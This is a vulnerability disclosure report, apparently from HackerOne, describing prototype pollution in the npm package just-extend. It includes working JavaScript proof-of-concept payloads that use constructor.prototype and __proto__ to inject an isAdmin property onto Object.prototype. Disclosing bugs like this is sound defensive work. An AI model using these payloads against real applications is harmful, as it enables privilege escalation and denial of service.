Prototype pollution attack in just-extend

I would like to report a prototype pollution vulnerability in just-extend It allows an attacker to inject properties on Object.prototype. # Module **module name:** just-extend **version:** 2.1.0, and 3.0.0 **npm page:** `https://www.npmjs.com/package/just-extend` ## Module Description Part of a library of zero-dependency npm modules that do just do one thing. Guilt-free utilities for every occasion. ## Module Stats 723,414 downloads in the last week # Vulnerability ## Vulnerability Description This is a variant of this vulnerability: https://hackerone.com/reports/310443 The functions `just-extend` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects. ## Steps To Reproduce: Craft an object of form `{constructor: {prototype: {...}}}` or `{__proto__: {...}}` and send it to `just-extend`. ```javascript var extend = require('just-extend'); var payload1 = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}'); extend(true, {}, payload1); console.log({}.isAdmin); // true var payload2 = JSON.parse('{"__proto__": {"isAdmin2": true}}'); extend(true, {}, payload2); console.log({}.isAdmin2); // true ``` # Wrap up - I contacted the maintainer to let them know: [Y] - I opened an issue in the related repository: [N] ## Impact Denial of service, possibly more depending on the application. See https://hackerone.com/reports/310443